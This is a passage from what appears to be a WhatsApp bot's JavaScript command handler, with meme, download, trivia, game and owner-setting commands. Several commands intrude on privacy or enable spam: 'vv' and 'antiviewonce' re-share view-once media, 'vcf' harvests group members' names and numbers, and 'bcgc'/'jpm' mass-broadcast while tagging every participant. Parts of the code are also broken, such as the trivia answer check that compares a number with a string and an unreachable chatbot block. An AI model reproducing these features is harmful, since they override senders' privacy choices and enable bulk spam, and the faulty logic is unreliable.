ᴀᴅᴠᴀɴᴄᴇᴅɢʟᴏᴡ +├❍ ${prefix} ᴛʏᴘᴏɢʀᴀᴘʜʏᴛᴇxᴛ +├❍ ${prefix} ᴘɪxᴇʟɢʟɪᴛᴄʜ +├❍ ${prefix} ɴᴇᴏɴɢʟɪᴛᴄʜ +├❍ ${prefix} ғʟᴀɢᴛᴇxᴛ +├❍ ${prefix} ғʟᴀɢ3ᴅᴛᴇxᴛ +├❍ ${prefix} ᴅᴇʟᴇᴛɪɴɢᴛᴇxᴛ +├❍ ${prefix} ʙʟᴀᴄᴋᴘɪɴᴋsᴛʏʟᴇ +├❍ ${prefix} ɢʟᴏᴡɪɴɢᴛᴇxᴛ +├❍ ${prefix} ᴜɴᴅᴇʀᴡᴀᴛᴇʀ ᴛᴇxᴛ +├❍ ${prefix} ʟᴏɢᴏᴍᴀᴋᴇʀ +├❍ ${prefix}ᴄᴀʀᴛᴏᴏɴsᴛʏʟᴇ +├❍ ${prefix} ᴘᴀᴘᴇʀᴄᴜᴛsᴛʏʟᴇ +├❍ ${prefix} ᴡᴀᴛᴇʀᴄᴏʟᴏʀᴛᴇxᴛ +├❍ ${prefix} ᴇғғᴇᴄᴛᴄʟᴏᴜᴅ +├❍ ${prefix} ʙʟᴀᴄᴋᴘɪɴᴋʟᴏɢᴏ +├❍ ${prefix} ɢʀᴀᴅɪᴇɴᴛᴛᴇxᴛ +├❍ ${prefix} ʟᴜxᴜʀʏɢᴏʟᴅ +├❍ ${prefix} sᴀɴᴅsᴜᴍᴍᴇʀ +├❍ ${prefix} ᴍᴜʟᴛɪᴄᴏʟᴏʀᴇᴅɴᴇᴏɴ +├❍ ${prefix} ᴍᴀᴋɪɴɢɴᴇᴏɴ +├❍ ${prefix} ɢᴀʟᴀxʏᴡᴀʟʟᴘᴀᴘᴇʀ +├❍ ${prefix} 1917stylᴇ +├❍ ${prefix} ғʀᴇᴇᴄʀᴇᴀᴛᴇ +├❍ ${prefix} ɢᴀʟᴀxʏsᴛʏʟᴇ +├❍ ${prefix} ʟɪɢʜᴛᴇғғᴇᴄᴛs +└ ❏ + *〤 ${global.anitav4} 〻* +`; + + // Array of image URLs + const images = [ + 'https://files.catbox.moe/jd0s4p.jpg', + 'https://files.catbox.moe/vcpt4o.jpg' // Replace with another image URL + ]; + + // Select a random image from the array + const randomImage = images[Math.floor(Math.random() * images.length)]; + + // Send the selected image with the menu text as caption + await David.sendMessage(m?.chat, { + image: { url: randomImage }, + caption: menuText + }); + + break; + + + + + + + + +case 'clown': { + // Ensure the command is a reply to an image or targets a user + if (!/image/.test(mime) && !mentionedJid.length) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image or mention a user with .clown to create a clown meme*`); + } + + try { + let imageUrl; + + // If it's a reply to an image, download and upload it + if (/image/.test(mime)) { + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + const uploadResponse = await uploadToImgur(mediaPath); // Use the Imgur upload function + if (uploadResponse.status !== "success") { + fs.unlinkSync(mediaPath); // Clean up the downloaded file + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> ${uploadResponse.message}`); + } + imageUrl = uploadResponse.fileUrl; // Get the uploaded image URL + fs.unlinkSync(mediaPath); // Clean up the downloaded file + } else if (mentionedJid.length) { + // If a user is mentioned, fetch their profile picture + const userJid = mentionedJid[0]; + imageUrl = await David.profilePictureUrl(userJid, 'image').catch(() => 'https://cdn.popcat.xyz/avatar.png'); + } else { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image or mention a user with .clown to create a clown meme*`); + } + + // Call the Clown API + const apiResponse = await axios.get(`https://api.popcat.xyz/clown`, { + params: { image: imageUrl } + }); + + if (apiResponse.status === 200) { + const clownImageUrl = apiResponse.request.res.responseUrl; // The URL of the clown meme + + // Send the clown meme back to the user + await David.sendMessage(m.chat, { + image: { url: clownImageUrl }, + caption: `*ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ* ` + }, { quoted: m }); + } else { + reply(`*CLOWN MEME ERROR!! MESSAGE :*\n\n> Failed to generate a clown meme. Try again.`); + } + } catch (error) { + console.error('Error in Clown command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + + +case 'anime': { + if (!text) return reply("❓ Usage: .anime \nExample: .anime bleach 7"); + + let [anime, episode] = text.split(' '); + if (!anime || !episode) return reply("❓ Provide both anime name and episode number."); + + reply(`🔍 Fetching *${anime}* episode *${episode}*...`); + + try { + let { data } = await axios.get(`https://reaperxxxx-anime.hf.space/api/anime/${anime}/${episode}`); + + if (!data.download_links) return reply("❌ No download links found for this episode."); + + let videoUrl = data.download_links['720p'] || data.download_links['360p']; + if (!videoUrl) return reply("❌ No valid MP4 file found."); + + let videoOptions = { + video: { url: videoUrl }, + caption: `🎥 *${data.anime_name}* - Episode ${data.episode}\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }; + + let documentOptions = { + document: { url: videoUrl }, + mimetype: 'video/mp4', + fileName: `${data.anime_name} - Episode ${data.episode}.mp4` + }; + + // Send as a video + await David.sendMessage(from, videoOptions, { quoted: m }); + + // Send as a document + await David.sendMessage(from, documentOptions, { quoted: m }); + + } catch (error) { + console.error(error); + reply("❌ Failed to fetch the anime episode. Try again later."); + } + break; +} + + + case 'hobbycheck': case 'cekhobby': +const hobby = text +const hob =['Cooking','Helping Grandpa','Mabar','Nobar','Sosmedtan','Helping Others','Watching Anime','Watching Korean Drama','Riding a Motorcycle','Singing','Dancing','Colliding','Drawing','Taking Unclear Photos','Playing Games','Talking to Myself'] +const by = hob[Math.floor(Math.random() * hob.length)] +David.sendMessage(from, { text: 'Question : *'+hobby+'*\n\nAnswer : '+ by}, { quoted: m }) +break + +case 'trivia': { + try { + const response = await axios.get('https://opentdb.com/api.php?amount=1&type=multiple'); + const trivia = response.data.results[0]; + + const question = trivia.question; + const options = [...trivia.incorrect_answers, trivia.correct_answer]; + const correctAnswer = trivia.correct_answer; + + // Shuffle options to avoid pattern (correct answer always in last) + options.sort(() => Math.random() - 0.5); + + // Save the correct answer + global.triviaAnswer = correctAnswer; + + // Send the question and options to the chat + await David.sendMessage(m.chat, { + text: `*Trivia Time!*\n\nQuestion: ${question}\n\nOptions: \n1. ${options[0]}\n2. ${options[1]}\n3. ${options[2]}\n4. ${options[3]}\n\nWhat's your answer? (Reply with .answer )` + }, { quoted: m }); + } catch (error) { + console.error(error); + reply('Sorry, I couldn\'t fetch a trivia question right now. Please try again later.'); + } + break; +} + +case 'scoreboard': { + // Retrieve and show the leaderboard + const leaderboard = global.triviaScores; // Assuming the scores are stored in global.triviaScores + let leaderboardMessage = '*Trivia Leaderboard:*\n\n'; + + leaderboard.forEach((player, index) => { + leaderboardMessage += `${index + 1}. ${player.name} - ${player.score} points\n`; + }); + + await David.sendMessage(m.chat, { + text: leaderboardMessage + }); + + break; +} + + +case 'anon': + const anonCommand = args[0]?.toLowerCase(); + const anonUserId = m.sender; + if (anonCommand === 'start') { + if (anonChats[anonUserId]) return reply('You are already in an anonymous chat!'); + const availableUsers = Object.keys(anonChats).find((user) => !anonChats[user]); + if (availableUsers) { + anonChats[anonUserId] = availableUsers; + anonChats[availableUsers] = anonUserId; + reply('✅ Connected to a stranger! Start chatting.'); + await David.sendMessage(availableUsers, { text: '✅ Connected to a stranger! Start chatting.' }); + } else { + anonChats[anonUserId] = null; + reply('🔍 Searching for a stranger...'); + } + } else if (anonCommand === 'stop') { + const partner = anonChats[anonUserId]; + if (!partner) return reply('You are not in an anonymous chat!'); + delete anonChats[partner]; + delete anonChats[anonUserId]; + reply('❌ Chat ended.'); + await David.sendMessage(partner, { text: '❌ The stranger has ended the chat.' }); + } else { + reply('Usage: `.anon start` or `.anon stop`'); + } + break; + +case 'answer': { + // Make sure the answer is a valid option (1, 2, 3, 4) + const answer = parseInt(args[0]); + + if (![1, 2, 3, 4].includes(answer)) { + return reply('Please respond with a number between 1 and 4!'); + } + + const userAnswer = global.triviaAnswer; + let resultMessage = ''; + + // Check if the answer is correct or incorrect + if (answer === userAnswer) { + resultMessage = 'Correct! 🎉'; + // You can increment user's score here (store it globally or in a database) + } else { + resultMessage = `Incorrect! 😞 The correct answer was option ${userAnswer}.`; + } + + await David.sendMessage(m.chat, { + text: `*Answer Result:*\n\n${resultMessage}` + }); + + break; +} + + + + + + +case 'blur': { + // Ensure the command is a reply to an image or targets a user's profile picture + if (!/image/.test(mime) && !mentionedJid.length) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image or mention a user with .blur to apply a blur effect*`); + } + + try { + let imageUrl; + + // If it's a reply to an image, download and upload it + if (/image/.test(mime)) { + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + const uploadResponse = await uploadToImgur(mediaPath); // Use the Imgur upload function + if (uploadResponse.status !== "success") { + fs.unlinkSync(mediaPath); // Clean up the downloaded file + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> ${uploadResponse.message}`); + } + imageUrl = uploadResponse.fileUrl; // Get the uploaded image URL + fs.unlinkSync(mediaPath); // Clean up the downloaded file + } else if (mentionedJid.length) { + // If a user is mentioned, fetch their profile picture + const userJid = mentionedJid[0]; + imageUrl = await David.profilePictureUrl(userJid, 'image').catch(() => 'https://cdn.popcat.xyz/avatar.png'); + } else { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image or mention a user with .blur to apply a blur effect*`); + } + + // Call the Blur API + const apiResponse = await axios.get(`https://api.popcat.xyz/blur`, { + params: { image: imageUrl } + }); + + if (apiResponse.status === 200) { + const blurredImageUrl = apiResponse.request.res.responseUrl; // The URL of the blurred image + + // Send the blurred image back to the user + await David.sendMessage(m.chat, { + image: { url: blurredImageUrl }, + caption: `*Blurred Image Generated Successfully!*` + }, { quoted: m }); + } else { + reply(`*BLUR EFFECT ERROR!! MESSAGE :*\n\n> Failed to apply a blur effect. Try again.`); + } + } catch (error) { + console.error('Error in Blur command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + +case 'url2': { + if (!m.quoted || !m.quoted.mimetype) return reply('❌ Reply to a file to upload.'); + + let media = await m.quoted.download(); + let fileType = m.quoted.mimetype.split('/')[1]; + + let result = await davidcyCdn(media, fileType); + + if (result.success) { + reply(`✅ *Upload Successful!*\n\n📂*File Size:* ${result.size} bytes\n🔗 *Download URL:* ${result.url}`); + } else { + reply(`❌ Upload Failed: ${result.error}`); + } +} +break; + +case 'hdimg2': case 'remini2': { + if (!/image/.test(mime)) return reply(`❌ Reply to an *image* with .remini to enhance it.`); + + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + try { + const media = await m.quoted.download(); + const fileType = m.quoted.mimetype.split('/')[1]; + + + let result = await davidcyCdn(media, fileType); + + if (!result.success) return reply(`❌ Upload failed: ${result.error}`); + + const imageUrl = result.url; + const enhancedImageUrl = `https://bk9.fun/tools/enhance?url=${imageUrl}`; + + await David.sendMessage(m.chat, { + image: { url: enhancedImageUrl }, + caption: `✨ *Image Enhanced Successfully!*` + }, { quoted: m }); + + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + } catch (error) { + console.error('Error in Remini command:', error); + reply(`❌ Error: ${error.message}`); + } + break; +} + + +case 'removebackground': case 'removebg': { + if (!/image/.test(mime)) return reply(`❌ Reply to an *image* with .removebg to remove background.`); + + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + try { + const media = await m.quoted.download(); + const fileType = m.quoted.mimetype.split('/')[1]; + + + let result = await davidcyCdn(media, fileType); + + if (!result.success) return reply(`❌ Upload failed: ${result.error}`); + + const imageUrl = result.url; + const removedBgUrl = `https://apis.davidcyriltech.my.id/removebg?url=${imageUrl}`; + + await David.sendMessage(m.chat, { + image: { url: removedBgUrl }, + caption: `🖼️ *Background Removed Successfully!*` + }, { quoted: m }); + + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + } catch (error) { + console.error('Error in RemoveBG command:', error); + reply(`❌ Error: ${error.message}`); + } + break; +} + + case 'removewatermark': case 'delwatermark': { + if (!/image/.test(mime)) return reply(`❌ Reply to an *image* with .delwatermark`); + + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + try { + const media = await m.quoted.download(); + const fileType = m.quoted.mimetype.split('/')[1]; + + + let result = await davidcyCdn(media, fileType); + + if (!result.success) return reply(`❌ Upload failed: ${result.error}`); + + const imageUrl = result.url; + const removedBgUrl = `https://api.siputzx.my.id/api/tools/dewatermark?url=${imageUrl}`; + + await David.sendMessage(m.chat, { + image: { url: removedBgUrl }, + caption: `🖼️ *Watermark Removed Successfully!*` + }, { quoted: m }); + + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + } catch (error) { + console.error('Error in RemoveBG command:', error); + reply(`❌ Error: ${error.message}`); + } + break; +} + +case 'drake': { + if (!text || !text.includes('|')) { + return reply(`*Usage:* .drakememe |\n\n*Example:* .drakememe amongus|amogus`); + } + + try { + // Split the input into two parts + const [text1, text2] = text.split('|').map(t => t.trim()); + + if (!text1 || !text2) { + return reply(`*Usage:* .drakememe |\n\n*Example:* .drakememe amongus|amogus`); + } + + // Call the Popcat API to generate the meme + const apiResponse = await axios.get(`https://api.popcat.xyz/drake`, { + params: { text1, text2 } + }); + + if (apiResponse.status === 200) { + const memeUrl = apiResponse.request.res.responseUrl; // The URL of the generated meme + + // Send the generated meme back to the user + await David.sendMessage(m.chat, { + image: { url: memeUrl }, + caption: `*ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ*` + }, { quoted: m }); + } else { + reply(`*MEME GENERATION ERROR!! MESSAGE :*\n\n> Failed to generate a Drake meme. Try again.`); + } + } catch (error) { + console.error('Error in Drake Meme command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + + break; +} + + + + case 'ship': { + try { + // Ensure the command is used in a group + if (!isGroup) return reply('This command can only be used in groups.'); + + // Get the list of group members + const groupMembers = groupMetadata.participants.map(member => member.id); + if (groupMembers.length < 2) return reply('Not enough members to use the ship command.'); + + // Select two random members + const [user1, user2] = groupMembers.sort(() => Math.random() - 0.5).slice(0, 2); + + // Fetch profile pictures for the two users + const profilePic1 = await David.profilePictureUrl(user1, 'image').catch(() => 'https://cdn.popcat.xyz/avatar.png'); + const profilePic2 = await David.profilePictureUrl(user2, 'image').catch(() => 'https://cdn.popcat.xyz/popcat.png'); + + // Call the Popcat API to generate the ship image + const apiResponse = await axios.get(`https://api.popcat.xyz/ship`, { + params: { user1: profilePic1, user2: profilePic2 } + }); + + if (apiResponse.status === 200) { + const shipImageUrl = apiResponse.request.res.responseUrl; // The URL of the generated ship image + + // Send the ship image with a caption tagging the two members + await David.sendMessage(from, { + image: { url: shipImageUrl }, + caption: `❤️ @${user1.split('@')[0]} *LOVES* @${user2.split('@')[0]} ❤️\n*[ 😍 Latest Couples 🥺 ]*`, + mentions: [user1, user2], // Proper tagging for both users + }, { quoted: m }); + } else { + reply(`*SHIP GENERATION ERROR!! MESSAGE :*\n\n> Failed to ship. Try again.`); + } + } catch (error) { + console.error('Error in Ship command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + + +case 'git': case 'gitclone': +if (!args[0]) return reply(`Where is the link?\nExample :\n${prefix}${command} https://github.com/DeeCeeXxx2/Queen_Anita-V3`) +if (!isUrl(args[0]) && !args[0].includes('github.com')) return replygcxeon(`Link invalid!!`) +let regex1 = /(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i + let [, user, repo] = args[0].match(regex1) || [] + repo = repo.replace(/.git$/, '') + let url = `https://api.github.com/repos/${user}/${repo}/zipball` + let filename = (await fetch(url, {method: 'HEAD'})).headers.get('content-disposition').match(/attachment; filename=(.*)/)[1] + David.sendMessage(m.chat, { document: { url: url }, fileName: filename+'.zip', mimetype: 'application/zip' }, { quoted: m }).catch((err) => reply(`error`)) +break + + case 'bcgc': case 'bcgroup': { +if (!isCreator) return reply('Owner only') + +if (!text) return reply(`Text?\n\nExample : ${prefix + command} Update QUEEN_ANITA-V4 !`) +let getGroups = await David.groupFetchAllParticipating() +let groups = Object.entries(getGroups).slice(0).map(entry => entry[1]) +let anu = groups.map(v => v.id) +reply(`Send Broadcast To ${anu.length} Group Chat.`) +for (let i of anu) { +await sleep(1500) +David.sendMessage(i, {text: `${text}`}, {quoted:m}) + } +reply(`Successfully Sending Broadcast To ${anu.length} Group`) +} +break + case 'jpm':{ +if (!isCreator) return reply("?") +if (!text) return reply(`*Input Format*\n${prefix+command} text|pause\nReply photo to jpm Give a pause, 1000 = 1 second\n\nExample: ${prefix + command} single siamang keris|4000`) +let getGroups = await David.groupFetchAllParticipating() +let groups = Object.entries(getGroups).slice(0).map((entry) => entry[1]) +let anu = groups.map((v) => v.id) +for (let xnxx of anu) { +let metadat72 = await David.groupMetadata(xnxx) +let participanh = await metadat72.participants +if (/image/.test(mime)) { +media = await David.downloadAndSaveMediaMessage(quoted) +mem = await TelegraPH(media) +await David.sendMessage(xnxx, { image: { url: mem }, caption: text.split('|')[0], mentions: participanh.map(a => a.id) }) +await sleep(text.split('|')[1]) +} else { +await David.sendMessage(xnxx, { text: text.split('|')[0], mentions: participanh.map(a => a.id) }) +await sleep(text.split('|')[1]) +}} +reply(`Success`) +} +break + + +/// Bug Commands + + + + + + case 'restart': { + if (!isCreator) return reply('❌ You do not have permission to restart the bot.'); + + m.reply('♻️ Restarting bot...'); + + setTimeout(() => { + process.exit(1); // Exits the process, and PM2/Heroku will restart it + }, 2000); // Delay to send message before restart + + break; +} + +case 'play': { + if (!text) return reply(`*Example*: ${prefix + command} Faded by Alan Walker`); + + try { + + await David.sendMessage(m.chat, { react: { text: `🎵`, key: m.key } }); + + + const yts = require("yt-search"); + const search = await yts(text); + const video = search.videos[0]; + + if (!video) { + reply(`*No results found for:* ${text}`); + return; + } + + + const body = `*QUEEN_ANITA-V4_MUSIC - PLAYER*\n` + + `> *Title:* ${video.title}\n` + + `> *Views:* ${video.views}\n` + + `> *Duration:* ${video.timestamp}\n` + + `> *Uploaded:* ${video.ago}\n` + + `> *Url:* ${video.url}\n` + + `> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`; + + await David.sendMessage(m.chat, { + image: { url: video.thumbnail }, + caption: body + }, { quoted: m }); + + + const apiUrl = `https://apis.davidcyriltech.my.id/download/ytmp3?url=${encodeURIComponent(video.url)}`; + const apiResponse = await axios.get(apiUrl); + + if (apiResponse.data.success) { + const { download_url, title, thumbnail } = apiResponse.data.result; + + + await David.sendMessage(m.chat, { + audio: { url: download_url }, + mimetype: 'audio/mp4', + fileName: `${title}.mp3`, + caption: `🎧 *Here's your song:*\n> *Title:* ${title}` + }, { quoted: m }); + } else { + reply(`*Failed to fetch the song! Please try again later.*`); + } + } catch (error) { + console.error('Error during play command:', error); + reply(`*An error occurred while processing your request. Please try again later.*`); + } + break; +} + + +case 'audiomack': { + if (!text) return reply(`*Example*: ${prefix + command} `); + + try { + await David.sendMessage(m.chat, { react: { text: `🎵`, key: m.key } }); + + // Fetch song data + const apiUrl = `https://api.paxsenix.biz.id/dl/audiomack?url=${encodeURIComponent(text)}`; + const response = await axios.get(apiUrl); + + if (!response.data.ok) { + reply(`❌ *Failed to fetch the song! Please check the link and try again.*`); + return; + } + + // Extract song details + const { url, title, creator, directUrl } = response.data; + + + // Send audio file + await David.sendMessage(m.chat, { + audio: { url: directUrl }, + mimetype: 'audio/mp4', + fileName: `${title}.mp3`, + caption: `🎵 *Here's your song:*` + }, { quoted: m }); + + // Send as a document + await David.sendMessage(m.chat, { + document: { url: directUrl }, + mimetype: 'audio/mp3', + fileName: `${title}.mp3`, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + + } catch (error) { + console.error('Error during Audiomack command:', error); + reply(`❌ *An error occurred while processing your request. Please try again later.*`); + } + break; +} + +case 'couple': { +if (!quoted) return reply( `Example : ${prefix + command} David|Anita`) +let [nama1, nama2] = q.split`|` +let anu = await primbon.kecocokan_nama_pasangan(nama1, nama2) +if (anu.status == false) return reply(anu.message) +let teks = ` +• *Your name :* ${anu.message.nama_anda} +• *Couple Name :* ${anu.message.nama_pasangan} +• *Positive Side :* ${anu.message.sisi_positif} +• *Negative Side :* ${anu.message.sisi_negatif}` +reply(teks) +} +break + + + + +case 'vcf': +case 'savecontact': +case 'svcontact': { + if (!m.isGroup) return reply(`For Groups Only`); + if (!(isBotAdmins || isCreator)) return reply(`For Admin Only`); + + try { + let cmiggc = await David.groupMetadata(m.chat); // Get group metadata + let participants = cmiggc.participants; // Get group participants + let vcard = ''; + + // Iterate through participants and generate vCard entries + for (let a of participants) { + // Fetch the WhatsApp name (pushname), fallback to the number if not available + let contactName = (await David.getName(a.id)) || a.id.split("@")[0]; + let number = a.id.split("@")[0]; + + // Format the vCard entry with the contact's name and number + vcard += `BEGIN:VCARD\nVERSION:3.0\nFN:${contactName}\nTEL;type=CELL;type=VOICE;waid=${number}:+${number}\nEND:VCARD\n`; + + // Delay to avoid overloading the server + await sleep(300); + } + + // Save all contacts to a single file + let filename = `./contacts.vcf`; + require('fs').writeFileSync(filename, vcard.trim()); + + // Send the vCard file to the chat + await David.sendMessage(m.chat, { + document: require('fs').readFileSync(filename), + mimetype: 'text/vcard', + fileName: `Group_Contacts.vcf`, + caption: `Group: *${cmiggc.subject}*\nContacts: *${participants.length}*` + }, { ephemeralExpiration: 86400, quoted: m }); + + // Delete the file after sending + require('fs').unlinkSync(filename); + } catch (error) { + console.error("Error generating contacts:", error); + reply("An error occurred while generating the contact file."); + } + break; +} + + +case 'horoscope': { + if (!text) return reply('Please provide a zodiac sign. Example: .horoscope aries'); + + const [zodiacSign, period = 'daily'] = text.toLowerCase().split(' '); + + // Ensure the zodiac sign is valid + const validSigns = ['aries', 'taurus', 'gemini', 'cancer', 'leo', 'virgo', 'libra', 'scorpio', 'sagittarius', 'capricorn', 'aquarius', 'pisces']; + if (!validSigns.includes(zodiacSign)) { + return reply('Invalid zodiac sign. Please choose a valid zodiac sign. Example: .horoscope aries'); + } + + // Ensure the period is valid + const validPeriods = ['daily', 'weekly', 'monthly', 'yearly']; + if (!validPeriods.includes(period)) { + return reply('Invalid period. Please choose one: daily, weekly, monthly, or yearly.'); + } + + try { + // Fetch the horoscope data + const response = await axios.get(`https://horoscope-app-api.vercel.app/api/v1/get-horoscope/${period}?sign=${zodiacSign}&day=TODAY`); + const horoscope = response.data; + + if (horoscope.status === 200) { + // Send the horoscope message + await David.sendMessage(m.chat, { + text: `*Horoscope for ${zodiacSign.charAt(0).toUpperCase() + zodiacSign.slice(1)} (${period.charAt(0).toUpperCase() + period.slice(1)})*\n\n${horoscope.data.horoscope_data}` + }, { quoted: m }); + } else { + reply('Could not fetch the horoscope data. Please try again later.'); + } + } catch (error) { + console.error(error); + reply('Failed to fetch the horoscope. Please try again later.'); + } + break; +} + + + + + + + +async function catboxUploader(path) { + const form = new FormData(); + form.append('reqtype', 'fileupload'); + form.append('userhash', ''); // Optional, can be left blank + form.append('fileToUpload', fs.createReadStream(path)); // Attach the file + + const headers = form.getHeaders(); + + try { + const response = await axios.post('https://catbox.moe/user/api.php', form, { headers }); + return response.data.trim(); // Return the uploaded file URL + } catch (error) { + console.error('Error uploading to Catbox:', error.message); + throw new Error('Failed to upload to Catbox'); + } +} + +case 'hdvid': +case 'hdvideo': +case 'vidiohd': +case 'tohd': +case 'vidhd': { + const q = m.quoted ? m.quoted : m; + const mime = (q.msg || q).mimetype || ''; + if (!mime) return reply(`Where is the video?`); + + // React to the message + await David.sendMessage(m?.chat, { react: { text: `🔄`, key: m?.key } }); + + + + // Download the media file + const media = await David.downloadAndSaveMediaMessage(q); + + const output = 'output.mp4'; // Output file name + + // Enhance the video resolution using ffmpeg + exec(`ffmpeg -i ${media} -s 1280x720 -c:v libx264 -c:a copy ${output}`, async (error, stdout, stderr) => { + if (error) { + console.error(`Error: ${error.message}`); + reply('Failed to enhance video resolution.'); + fs.unlinkSync(media); // Clean up + return; + } + + console.log(`stdout: ${stdout}`); + console.error(`stderr: ${stderr}`); + + // Upload the enhanced video to Catbox + try { + const catboxUrl = await catboxUploader(output); + + // Send the Catbox URL back to the chat + await David.sendMessage( + m.chat, + { + caption: `Succesfully Enhanced Your Video\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + video: { url: output } + }, + { quoted: m } + ); + } catch (uploadError) { + console.error(uploadError.message); + reply('Failed to upload the video to Catbox.'); + } + + // Clean up temporary files + fs.unlinkSync(output); + fs.unlinkSync(media); + }); +} +break; + + case 'antiviewonce': { + if (!isCreator) return reply(`*For My Owner Only!*`); + if (!args[0]) return reply(`*Usage:* ${prefix + command} on/off\n\n*Example:* ${prefix + command} on`); + + if (args[0].toLowerCase() === 'on') { + global.ANTIVIEWONCE = true; + reply('*Successfully Activated ANTIVIEWONCE.*'); + } else if (args[0].toLowerCase() === 'off') { + global.ANTIVIEWONCE = false; + reply('*Successfully Deactivated ANTIVIEWONCE.*'); + } else { + reply(`*Invalid Option!*\n\n*Usage:* ${prefix + command} on/off`); + } + break; +} + + + case 'chatbot': { + if (!isCreator) return m.reply('For My Owner Only'); + if (!args[0]) return m.reply(`Example: ${prefix + command} on/off/gc/all`); + + if (args[0] === 'on') { + global.chatbot = true; + global.chatbotMode = "dm"; + await reply('🤖 Chatbot activated for direct messages.'); + } else if (args[0] === 'gc') { + global.chatbot = true; + global.chatbotMode = "gc"; + await reply('🤖 Chatbot activated for group chats only.'); + } else if (args[0] === 'all') { + global.chatbot = true; + global.chatbotMode = "all"; + await reply('🤖 Chatbot activated for all messages.'); + } else if (args[0] === 'off') { + global.chatbot = false; + global.chatbotMode = "off"; + await reply('🤖 Chatbot deactivated.'); + } else { + await reply('❌ Invalid option! Use on/off/gc/all'); + } +} +break; + +if (global.chatbot) { + if (m.key.fromMe) return; + + if ( + (global.chatbotMode === "dm" && !m.isGroup) || + (global.chatbotMode === "gc" && m.isGroup) || + (global.chatbotMode === "all") + ) { + try { + const userId = m.sender; + const apiUrl = `https://apis.davidcyriltech.my.id/ai/chatbot?query=${encodeURIComponent(budy)}`; + + + const response = await fetch(apiUrl); + const jsonData = await response.json(); + + + + if (jsonData.success && jsonData.result) { + David.sendMessage(m.chat, { text: jsonData.result }, { quoted: m }); + } else { + David.sendMessage(m.chat, { text: '⚠️ Failed to fetch response from AI.' }, { quoted: m }); + } + } catch (error) { + console.error('Error fetching AI response:', error); + David.sendMessage(m.chat, { text: '❌ An error occurred while fetching AI response.' }, { quoted: m }); + } + } +} + + + + +case 'mode-private': { +if (!isCreator) return reply('`For My Owner Only`') +global.public = false +m.reply('Sucessfully Changed To Private Mode') +} +break + +case 'mode-public': { +if (!isCreator) return reply('`For My Owner Only`') +global.public = true +m.reply('Sucessfully Changed To Public Mode') +} +break + + + +case 'wcg': { + if (wcgSession.active) { + return reply("❌ A WCG game is already active. Wait for it to finish before starting another."); + } + + // Initialize a new WCG session + wcgSession = { + active: true, + players: [], + currentTurn: 0, + wordLength: 3, // Start with 3-letter words + timer: 60000, // Start with 60 seconds + }; + saveWCGSession(wcgSession); + + reply(`🎮 *Word Chain Game Starting in 5 Minutes!* 🎮\nType *join* to participate!`); + + // Allow players to join for 5 minutes + setTimeout(() => { + wcgSession = loadWCGSession(); // Reload the session to get the latest state + + if (wcgSession.players.length < 3) { // Ensure player count is updated + wcgSession.active = false; + saveWCGSession(wcgSession); + return reply("❌ Not enough players joined. WCG game canceled. (Minimum 3 players required)"); + } + + reply(`🎮 *Word Chain Game Starting Now!*\n\nPlayers:\n${wcgSession.players.map((player) => `@${player.split("@")[0]}`).join("\n")}`, { + mentions: wcgSession.players, + }); + + wcgNextTurn(); // Start the game + }, 300000); // 5 minutes + break; +} + +case 'join': { + if (!wcgSession.active) { + return reply("❌ No WCG game is active. Use *wcg* to start a game."); + } + + const user = m.sender; + + // Check if the user already joined + if (wcgSession.players.includes(user)) { + return reply(`❌ @${user.split("@")[0]}, you have already joined the WCG game!`, { + mentions: [user], + }); + } + + // Add the user to the players list + wcgSession.players.push(user); + saveWCGSession(wcgSession); // Save session immediately after any changes + + reply(`✅ @${user.split("@")[0]} joined the WCG game! (${wcgSession.players.length} players so far)`, { mentions: [user] }); + break; +} + + +case 'vv': { + try { + if (!m.quoted) return reply('Reply to a ViewOnce Video, Image, or Audio.'); + + const quotedMessage = m.msg.contextInfo.quotedMessage; + + if (!quotedMessage) return reply('❌ No media found in the quoted message.'); + + if (quotedMessage.imageMessage) { + let imageCaption = quotedMessage.imageMessage.caption || ''; + let imageUrl = await David.downloadAndSaveMediaMessage(quotedMessage.imageMessage); + await David.sendMessage(m.chat, { image: { url: imageUrl }, caption: imageCaption }); + await David.sendMessage(m?.chat, { react: { text: `✅`, key: m?.key } }); + + } + + if (quotedMessage.videoMessage) { + let videoCaption = quotedMessage.videoMessage.caption || ''; + let videoUrl = await David.downloadAndSaveMediaMessage(quotedMessage.videoMessage); + await David.sendMessage(m.chat, { video: { url: videoUrl }, caption: videoCaption }); + await 